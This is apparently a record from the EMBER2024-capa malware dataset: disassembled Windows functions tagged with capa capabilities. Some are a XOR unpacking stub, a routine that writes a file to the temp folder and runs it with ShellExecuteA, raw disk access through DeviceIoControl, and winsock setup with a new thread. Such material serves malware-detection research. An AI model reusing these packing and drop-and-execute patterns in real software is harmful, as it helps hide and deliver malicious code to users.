joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40833d
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov ecx, dword [ebp + 0x3a4]
cmp ecx, dword [0x40eb40]
mov eax, dword [0x40e448]
push ebx
push esi
mov dword [ebp + 0x398], eax
push edi
jae 0x408503
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x40eb60]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x80], ebx
je 0x408503
xor edi, edi
cmp dword [ebp + 0x3ac], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], edi
jne 0x4083a7
xor eax, eax
jmp 0x408517
test al, 0x20
je 0x4083b8
push 2
push edi
push edi
push ecx
call fcn.00409cac
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x40848d
cmp dword [ebp + 0x3ac], edi
mov eax, dword [ebp + 0x3a8]
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x3a4], edi
jbe 0x4084d4
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp + 0x3a8]
lea eax, [ebp - 0x6c]
cmp ecx, dword [ebp + 0x3ac]
jae 0x40841a
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x40840b
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x80]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x4083ed
mov edi, eax
lea eax, [ebp - 0x6c]
sub edi, eax
push 0
lea eax, [ebp - 0x78]
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40845a
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x408466
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp + 0x3a8]
xor edi, edi
cmp eax, dword [ebp + 0x3ac]
jb 0x4083e1
jmp 0x408468
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
xor edi, edi
mov eax, dword [ebp - 0x74]
cmp eax, edi
jne 0x4084fe
cmp dword [ebp + 0x3a4], edi
je 0x4084d4
push 5
pop eax
cmp dword [ebp + 0x3a4], eax
jne 0x4084c6
mov dword [0x40e704], eax
jmp 0x40850a
push edi
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x3ac]
push dword [ebp + 0x3a8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4084b8
mov eax, dword [ebp - 0x78]
mov dword [ebp + 0x3a4], edi
mov dword [ebp - 0x74], eax
jmp 0x408468
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
jmp 0x408468
push dword [ebp + 0x3a4]
call fcn.00409b97
pop ecx
jmp 0x408514
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x4084ec
mov eax, dword [ebp + 0x3a8]
cmp byte [eax], 0x1a
je 0x4083a0
mov dword [0x40e700], 0x1c
mov dword [0x40e704], edi
jmp 0x408514
sub eax, dword [ebp - 0x7c]
jmp 0x408517
and dword [0x40e704], 0
mov dword [0x40e700], 9
or eax, 0xffffffff
mov ecx, dword [ebp + 0x398]
pop edi
pop esi
pop ebx
call fcn.004086c2
add ebp, 0x39c
leave
ret
Function at 0x409307
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40e894], ebx
push esi
push edi
jne 0x409387
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4093c2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40cc54
push edi
call esi
test eax, eax
mov dword [0x40e894], eax
je 0x4093c2
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40e898], eax
call esi
cmp dword [0x40e70c], 2
mov dword [0x40e89c], eax
jne 0x409387
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40e8a4], eax
je 0x409387
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40e8a0], eax
mov eax, dword [0x40e8a0]
test eax, eax
je 0x4093cc
call eax
test eax, eax
je 0x4093b3
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40e8a4]
test eax, eax
je 0x4093b3
test byte [ebp - 8], 1
jne 0x4093cc
cmp dword [0x40e718], 4
jb 0x4093c6
or byte [ebp + 0x12], 0x20
jmp 0x4093eb
xor eax, eax
jmp 0x4093fb
or byte [ebp + 0x12], 4
jmp 0x4093eb
mov eax, dword [0x40e898]
test eax, eax
je 0x4093eb
call eax
mov ebx, eax
test ebx, ebx
je 0x4093eb
mov eax, dword [0x40e89c]
test eax, eax
je 0x4093eb
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40e894]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40996e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40999c
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4099a3
cmp ebx, dword [eax + 4]
jae 0x4099a3
xor eax, eax
jmp 0x409b93
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4099b4
xor eax, eax
inc eax
jmp 0x409b92
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4099ca
cmp ecx, edx
jae 0x409b0f
cmp dword [eax + 4], 0
je 0x4099d3
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4099bb
cmp dword [ebp + 8], 0
je 0x4099f5
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x409b0f
cmp eax, esi
jae 0x409b0f
mov eax, dword [0x40e8a8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x409a1a
cmp dword [esi*4 + 0x40e8b0], edi
je 0x409b13
inc esi
cmp esi, eax
jl 0x409a08
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x409b8f
cmp dword [ebp - 8], 0x1000000
jne 0x409b8f
test byte [ebp - 0xc], 0xcc
je 0x409a98
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x409b8f
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x409b8f
cmp word [eax + 0x18], 0x10b
jne 0x409b8f
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x409b8f
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x409a98
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x409a98
test byte [ecx + 0x27], 0x80
jne 0x409b0f
push 1
push 0x40e8f0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4099ac
mov ecx, dword [0x40e8a8]
test ecx, ecx
mov edx, ecx
jle 0x409acc
lea eax, [ecx*4 + 0x40e8ac]
cmp dword [eax], edi
je 0x409acc
dec edx
sub eax, 4
test edx, edx
jg 0x409ac0
test edx, edx
jne 0x409afd
push 0xf
pop ebx
cmp ecx, ebx
jg 0x409ad9
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x409af1
lea eax, [edx*4 + 0x40e8b0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x409adf
cmp ecx, 0x10
jge 0x409afd
inc ecx
mov dword [0x40e8a8], ecx
push 0
push 0x40e8f0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x4099ac
xor eax, eax
jmp 0x409b92
test esi, esi
jle 0x4099ac
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x40e8f0
call ebx
test eax, eax
jne 0x4099ac
cmp dword [esi*4 + 0x40e8b0], edi
je 0x409b69
mov eax, dword [0x40e8a8]
lea esi, [eax - 1]
test esi, esi
jl 0x409b57
cmp dword [esi*4 + 0x40e8b0], edi
je 0x409b53
dec esi
jns 0x409b47
test esi, esi
jge 0x409b67
cmp eax, 0x10
jge 0x409b62
inc eax
mov dword [0x40e8a8], eax
lea esi, [eax - 1]
jmp 0x409b69
je 0x409b81
xor ecx, ecx
test esi, esi
jl 0x409b81
lea eax, [ecx*4 + 0x40e8b0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x409b6f
push 0
push 0x40e8f0
call ebx
jmp 0x4099ac
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a3bc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00405b00
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40a457
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40e70c]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x40a457
cmp eax, 1
je 0x40a478
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40a457
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x40a424
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x40a453
xor eax, eax
inc eax
jmp 0x40a497
cmp edi, eax
jae 0x40a45b
xor eax, eax
jmp 0x40a497
cmp eax, esi
jae 0x40a462
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40e70c]
jmp 0x40a47b
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x44d7a4
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x44d7b7
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x44d7b3
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x44d7e4
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x44d823
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x44d819
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x44d825
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x44d809
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x407ef8
nop
mov ecx, 0x17f35df9
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x47f55360
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401a7f
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004152d0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401b31
push edi
mov edi, 0x42b86c
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401aca
sub eax, edx
sar eax, 1
je 0x401b30
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ef7
push 0x42b888
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041344b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401b30
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041373e
push dword [ebp - 0x78]
call fcn.004137d2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0x198
leave
ret

Function at 0x401b4a
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004152d0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401c25
push edi
mov edi, 0x42b7b8
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401b99
sub eax, edx
sar eax, 1
je 0x401c24
cmp dword [0x432fbc], 3
mov esi, 0x104
lea eax, [ebp - 0x74]
jne 0x401bd6
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42b890
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ef7
add esp, 0xc
jmp 0x401bde
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ef7
push 0x42b888
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041344b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401c24
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041373e
push dword [ebp - 0x78]
call fcn.004137d2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0x198
leave
ret
Function at 0x401c3e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004152d0
add esp, 0xc
cmp dword [0x432fbc], 3
lea eax, [ebp - 0x20c]
jne 0x401ca4
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42b890
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00412ef7
add esp, 0xc
pop esi
jmp 0x401cb0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x42b894
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00412ee8
leave
ret

Function at 0x401e34
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004152d0
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00401fc6
push dword [ebp - 0x214]
call fcn.004020b3
add esp, 0xc
cmp eax, 0xffffffff
jne 0x401eac
xor eax, eax
jmp 0x401eb3
push esi
call fcn.00401d6e
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412ee8
leave
ret

Function at 0x401ebf
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x401f68
mov ebx, 0xb69
push ebx
call fcn.00408ab7
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x401f59
mov eax, dword [ebp - 4]
push 4
add eax, 0x30
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x401f3b
jg 0x401f2f
cmp ecx, dword [ebp - 0x18]
jbe 0x401f3b
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x89
dec ebx
jne 0x401f1e
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.004170e0
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x401f68
push dword [ebp - 4]
call fcn.00408aac
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f78
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x401fc1
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret

Function at 0x4022c1
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.004152d0
add esp, 0xc
test edi, edi
je 0x402387
and dword [ebp - 0x7c], esi
mov ecx, 0x42b768
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x40230c
sub eax, esi
sar eax, 1
je 0x402330
push 0x42b904
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.0041344b
add esp, 0xc
jmp 0x402364
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42b86c
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00412ef7
push 0x42b904
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0041344b
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x402387
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.00413a11
push dword [ebp - 0x7c]
call fcn.004137d2
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0x194
leave
ret

Function at 0x40239f
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x42b888
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0041344b
add esp, 0xc
test eax, eax
je 0x4023c9
xor eax, eax
jmp 0x40244c
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00413b1d
push dword [ebp - 4]
call fcn.00413d3f
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00413b1d
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.00413dfc
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.0041373e
push dword [ebp - 4]
call fcn.004137d2
push 0x32
lea ebx, [edi + esi]
call fcn.0040244f
push 0x42b904
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0041344b
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x4023c2
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00413a11
push dword [ebp - 4]
call fcn.004137d2
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret
Function at 0x402491
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x42b90c
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.00414724
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00413ec6
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.00413f30
add esp, 0x14
cmp eax, ebx
je 0x40250f
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4025f3
mov eax, 0x433048
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40253f
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x402554
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402566
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00408ab7
push esi
mov edi, eax
push ebx
push edi
call fcn.004152d0
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push 0x433048
push esi
push edi
call fcn.00413f5d
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4025af
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push 0x42b918
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x4025f2
push edi
call fcn.00408aac
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
add ebp, 0x298
leave
ret
Function at 0x40260a
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.004152d0
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x436488
call fcn.004019f3
pop ecx
push 2
pop ebx
test eax, eax
jne 0x402725
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.004152d0
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.004027b7
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436630], cx
add eax, ebx
cmp cx, si
jne 0x402687
push 0x42b7d0
push 0x40
push 0x43648c
call fcn.00412f74
add esp, 0xc
push 0x51
pop eax
push 0x42b7ec
push 0x10
push 0x43650e
mov word [0x43650c], ax
call fcn.00412f74
add esp, 0xc
push 0x42b79c
push 0x40
push 0x43652e
call fcn.00412f74
mov eax, 0x2b66
add esp, 0xc
mov word [0x4365ae], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436610], cx
add eax, ebx
cmp cx, si
jne 0x4026ec
mov edi, 0x436610
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x402706
mov esi, 0x42b920
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x436650], 5
xor esi, esi
call fcn.00402845
lea edi, [ebp - 0x248]
call fcn.004027b7
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x4368c0], cx
add eax, ebx
cmp cx, si
jne 0x402737
mov edi, 0x4368c0
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x40276e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4027a8
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x40276a
mov ebx, 0x436940
call fcn.00402a2c
mov eax, dword [0x436654]
push esi
push esi
push esi
push 0x402ea2
push esi
push esi
mov dword [0x436948], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x433038], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
leave
ret